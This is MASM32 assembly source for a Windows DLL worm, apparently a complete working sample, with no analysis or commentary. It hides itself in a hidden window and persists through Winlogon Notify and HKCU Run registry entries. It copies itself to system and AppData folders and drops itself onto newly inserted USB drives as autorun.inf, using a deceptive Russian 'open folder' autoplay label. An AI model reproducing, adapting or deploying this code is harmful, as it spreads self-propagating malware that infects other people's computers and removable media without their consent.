.386
.model flat, stdcall
option casemap :none

include     \masm32\include\windows.inc
include     \masm32\include\kernel32.inc
include     \masm32\include\user32.inc
include     \masm32\include\shell32.inc
include     \masm32\include\advapi32.inc
include     \masm32\include\Psapi.inc

includelib  \masm32\lib\kernel32.lib
includelib  \masm32\lib\user32.lib
includelib  \masm32\lib\shell32.lib
includelib  \masm32\lib\advapi32.lib
includelib  \masm32\lib\Psapi.lib

include dbt.asm

.data
   AutorunData         db 0dh,0ah,'[autorun]',0dh,0ah,'open=rundll32.exe .\autorun.inf,install',
                     0dh,0ah,'UseAutoPlay=1',0dh,0ah,'action=Открыть папку для просмотра файлов',
                     0dh,0ah,'icon=%SystemRoot%\System32\shell32.dll,4',0dh,0ah,0
                     
   ClassName         db "HiddenWindow", 0
   Caption            db "Hidden Window", 0
   start_event         db "illuz1oN", 0

   target            db '\notify.dll', 0
   target_flash      db '\autorun.inf', 0
   rundll_suffix      db ',start', 0
      
   dll_path         db MAX_PATH dup(0)
   host_process      db MAX_PATH dup(0)
   sys_dir            db MAX_PATH dup(0)
   app_dir            db MAX_PATH dup(0)
   
   
   WinlogonAutoLoad      db "Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Notify\desktop", 0
   WinlogonAutoLoadName1   db "Asynchronous", 0
   WinlogonAutoLoadName2   db "Dllname", 0
   WinlogonAutoLoadName3   db "Impersonate", 0
   WinlogonAutoLoadName4   db "Logon", 0
   
   WinlogonAutoLoadValue1   dw 0
   WinlogonAutoLoadValue2   db "main.dll", 0
   WinlogonAutoLoadValue3   dw 0
   WinlogonAutoLoadValue4   db "start", 0
   
   CU_AutoLoad            db "Software\Microsoft\Windows\CurrentVersion\Run", 0
   CU_AutoLoadName         db "Shell", 0
   CU_AutoValueContent      db MAX_PATH dup(0)
   
   space            db ' ', 0

   EXEC_COMMAND      db 'rundll32.exe', 0
   WEXEC_COMMAND      db 'winlogon.exe', 0
   OPEN_COMMAND      db 'explorer', 0
   OPEN_PATH         db '.\', 0
   
.data?
   hInstance         HINSTANCE ?
   CommandLine         LPSTR ?
   pKey            dd ?
   
.code

FirstDriveFromMask PROC unitmask :DWORD
   LOCAL i :BYTE

   mov      [i], 0
   jmp      SHORT LN4

   LN3:
      mov      al, [i]
      add      al, 1
      mov      [i], al

   LN4:
      movsx   ecx, [i]
      cmp      ecx, 26
      jge      SHORT LN2

      mov      edx, [unitmask]
      and      edx, 1
      je      SHORT LN1
      jmp      SHORT LN2

   LN1:
      mov      eax, [unitmask]
      shr      eax, 1
      mov      unitmask, eax

      jmp      SHORT LN3

   LN2:
      movsx   eax, [i]
      add      eax, 65   

      ret

FirstDriveFromMask ENDP

DeviceChanged PROC m_hwnd :HWND, Message :UINT, wParam :WPARAM, lParam :LPARAM
   LOCAL target_path_buffer[MAX_PATH] :DWORD
   
   cmp      [lParam], NULL
   jne      SHORT detected
   jmp      SHORT exit
   
   detected:
   
   cmp      [wParam], DBT_DEVICEARRIVAL
   jne      SHORT exit
      
      mov      esi, [lParam]
      cmp      (DEV_BROADCAST_HDR Ptr [esi]).dbch_devicetype, DBT_DEVTYP_VOLUME
      jne      SHORT exit
      
      invoke   lstrcpy, addr [target_path_buffer], addr [dll_path]   
      invoke   FirstDriveFromMask, (DEV_BROADCAST_VOLUME Ptr [esi]).dbcv_unitmask
      invoke   lstrcat, addr [target_path_buffer], addr [target_flash]
      
      ;invoke   wsprintf, addr [target_path_buffer], addr [target_path_format], eax
      
      invoke   Sleep, 6000
      invoke   CopyFile, addr [dll_path], addr [target_path_buffer], 1
   
   exit:
   
   xor      eax, eax
   ret

DeviceChanged ENDP

WinWorker proc hInst :HINSTANCE, hPrevInst :HINSTANCE;, CmdLine :LPSTR, CmdShow :DWORD
   LOCAL    wc :WNDCLASSEX
   LOCAL    msg :MSG
   LOCAL    hwnd :HWND
   
   mov      [wc.cbSize], sizeof WNDCLASSEX
   mov      [wc.style], CS_HREDRAW or CS_VREDRAW
   mov      [wc.lpfnWndProc], offset WndProc
   mov      [wc.cbClsExtra], NULL
   mov      [wc.cbWndExtra], NULL
   
   push     [hInst]
   pop      [wc.hInstance]
   
   mov      [wc.hbrBackground], NULL
   mov      [wc.lpszClassName], offset ClassName
   
   invoke   LoadIcon, NULL, IDI_APPLICATION
   mov      [wc.hIcon], eax
   mov      [wc.hIconSm], eax
   
   invoke   LoadCursor, NULL, IDC_ARROW
   mov      [wc.hCursor], eax
   
   invoke   RegisterClassEx, addr [wc]
   invoke    CreateWindowEx, 0, addr [ClassName], addr [Caption], WS_SYSMENU or WS_SIZEBOX, 389, 82, 327, 200, 0, 0, [hInst], 0
   
   mov      [hwnd], eax
   
   invoke   ShowWindow, [hwnd], SW_HIDE
   invoke   UpdateWindow, [hwnd]
   
   _loop:
      
      invoke   GetMessage, addr [msg], 0, 0, 0
      
      cmp      eax, 0
      jz      SHORT _end_loop
      
      invoke  TranslateMessage, addr [msg]
      invoke  DispatchMessage, addr [msg]
      jmp      SHORT _loop
   
   _end_loop:
   
   mov   eax, [msg.wParam]
   ret
   
WinWorker endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
   
    cmp   [uMsg], WM_DESTROY
    jne   SHORT dev_c
    invoke   PostQuitMessage, NULL
   
    dev_c:
      cmp      [uMsg], WM_DEVICECHANGE
      jne      SHORT def_p
      invoke   DeviceChanged, [hWnd], [uMsg], [wParam], [lParam]
   
    def_p:
   
       invoke   DefWindowProc, [hWnd], [uMsg], [wParam], [lParam]
   
    xor      eax, eax
    ret
   
WndProc endp

start PROC
   
   invoke  WinWorker, [hInstance], NULL
   
   xor      eax, eax
   ret

start ENDP

LibMain PROC instance :DWORD, reason :DWORD, unused :DWORD   
   LOCAL memInfoStruct :MEMORY_BASIC_INFORMATION
   LOCAL versionInfoStruct :OSVERSIONINFO
   LOCAL systemInfoStruct :SYSTEM_INFO
   LOCAL currProcess :HANDLE
   LOCAL inputAddress :LPCVOID    
   LOCAL modHandle :HMODULE
   LOCAL cmpresult, path1[MAX_PATH], path2[MAX_PATH], exec_str[MAX_PATH] :DWORD
   
   .IF [reason] == DLL_PROCESS_ATTACH
      
      invoke   GetCurrentProcess
      mov      [currProcess], eax
      mov      [inputAddress], 0
      
      invoke   RtlZeroMemory, addr [memInfoStruct], sizeof memInfoStruct
      invoke   VirtualQueryEx, [currProcess], [inputAddress], addr [memInfoStruct], sizeof memInfoStruct
      
      push   [memInfoStruct.AllocationBase]
      pop      [modHandle]
      
      invoke   GetModuleBaseName, [currProcess], [modHandle], addr [host_process], sizeof host_process
      invoke   lstrcmpi, addr [host_process], addr [WEXEC_COMMAND]
      
      mov      [cmpresult], eax
      
      invoke   CreateEvent, NULL, FALSE, FALSE, addr [start_event]
      invoke   GetLastError
      
      .IF eax != ERROR_ALREADY_EXISTS

         push   [instance]
         pop      [hInstance]

         invoke   GetModuleFileName, [instance], addr [dll_path], MAX_PATH
         invoke   SHGetSpecialFolderPath, NULL, addr [sys_dir], CSIDL_SYSTEM, TRUE
         invoke   SHGetSpecialFolderPath, NULL, addr [app_dir], CSIDL_APPDATA, TRUE
         
         .IF cmpresult == 0
            
            invoke   WinWorker, [hInstance], NULL
            
         .ELSE
         
            invoke   lstrcpy, addr [path2], addr [app_dir]
            invoke   lstrcat, addr [path2], addr [target]
                     
            invoke   lstrcpy, addr [path1], addr [sys_dir]
            invoke   lstrcat, addr [path1], addr [target]
            
            ;invoke MessageBox, NULL, addr [path1], addr [Caption], MB_OK
            ;invoke MessageBox, NULL, addr [path2], addr [Caption], MB_OK
            
            invoke   lstrcmpi, addr [path1], addr [dll_path]
            cmp      eax, 0
            jz      _exit
            
            invoke   lstrcmpi, addr [path2], addr [dll_path]
            cmp      eax, 0
            jz      _exit
            
            ;=================
               invoke   RtlZeroMemory, addr [versionInfoStruct], sizeof versionInfoStruct
               invoke   RtlZeroMemory, addr [systemInfoStruct], sizeof systemInfoStruct
               
               mov      [versionInfoStruct.dwOSVersionInfoSize], sizeof versionInfoStruct
               invoke   GetVersionEx, addr versionInfoStruct
               invoke   GetSystemInfo, addr systemInfoStruct
               
               cmp      [systemInfoStruct.wProcessorArchitecture], PROCESSOR_ARCHITECTURE_AMD64
               jz      _NT6_OR_NTAMD64
               cmp      [versionInfoStruct.dwMajorVersion], 6
               jz      _NT6_OR_NTAMD64
               ;====
                  ;; Туд код для XP/2003 x86
                  
                  
                  invoke   RegCreateKey, HKEY_LOCAL_MACHINE, addr [WinlogonAutoLoad], addr [pKey]
                  cmp      eax, 0
                  jne      SHORT under_user
                  
                     invoke   CopyFile, addr [dll_path], addr [path1], 1
                     invoke   RegSetValueEx, [pKey], addr [WinlogonAutoLoadName1], NULL, REG_DWORD, addr [WinlogonAutoLoadValue1], sizeof WinlogonAutoLoadValue1
                     invoke   RegSetValueEx, [pKey], addr [WinlogonAutoLoadName2], NULL, REG_SZ, addr [WinlogonAutoLoadValue2], sizeof WinlogonAutoLoadValue2
                     invoke   RegSetValueEx, [pKey], addr [WinlogonAutoLoadName3], NULL, REG_DWORD, addr [WinlogonAutoLoadValue3], sizeof WinlogonAutoLoadValue3
                     invoke   RegSetValueEx, [pKey], addr [WinlogonAutoLoadName4], NULL, REG_SZ, addr [WinlogonAutoLoadValue4], sizeof WinlogonAutoLoadValue4
                  
                  under_user:
                     
                     invoke   RegCreateKey, HKEY_CURRENT_USER, addr [CU_AutoLoad], addr [pKey]
                     cmp      eax, 0
                     jne      _exit
                     
                     invoke   CopyFile, addr [dll_path], addr [path2], 1
                     
                     invoke   lstrcpy, addr [CU_AutoValueContent], addr [EXEC_COMMAND]
                     invoke   lstrcat, addr [CU_AutoValueContent], ' '
                     invoke   lstrcat, addr [CU_AutoValueContent], addr [path2]
                     
                     invoke   RegSetValueEx, [pKey], addr [CU_AutoLoadName], NULL, REG_SZ, addr [CU_AutoValueContent], sizeof CU_AutoValueContent                     
                     
                  
               ;====
               _NT6_OR_NTAMD64:
                  ;; Туд код для NT6 и NT_AMD64
                  
                  invoke   RegCreateKey, HKEY_CURRENT_USER, addr [CU_AutoLoad], addr [pKey]
                     cmp      eax, 0
                     jne      offset _exit
                     
                     invoke   CopyFile, addr [dll_path], addr [path2], 1                     
                     invoke   lstrcpy, addr [CU_AutoValueContent], addr [EXEC_COMMAND]
                     invoke   lstrcat, addr [CU_AutoValueContent], addr [space]
                     invoke   lstrcat, addr [CU_AutoValueContent], addr [path2]
                     invoke   lstrcat, addr [CU_AutoValueContent], addr [rundll_suffix]
                     
                     invoke   RegSetValueEx, [pKey], addr [CU_AutoLoadName], NULL, REG_SZ, addr [CU_AutoValueContent], sizeof CU_AutoValueContent                     
                     
                  
                  
            ;=================
            _exit:
         
         .ENDIF
         
      .ELSE
         
         ;invoke lstrcmpi, addr [host_process], addr [WEXEC_COMMAND]
         
         .IF [cmpresult] == 0
         
            invoke   ShellExecute, 0, 0, addr [OPEN_COMMAND], addr [OPEN_PATH], 0, SW_SHOW
            invoke   ExitProcess, NULL
         
         .ENDIF
         
      .ENDIF
      
   .ENDIF

   mov eax, TRUE
   ret

LibMain ENDP

END LibMain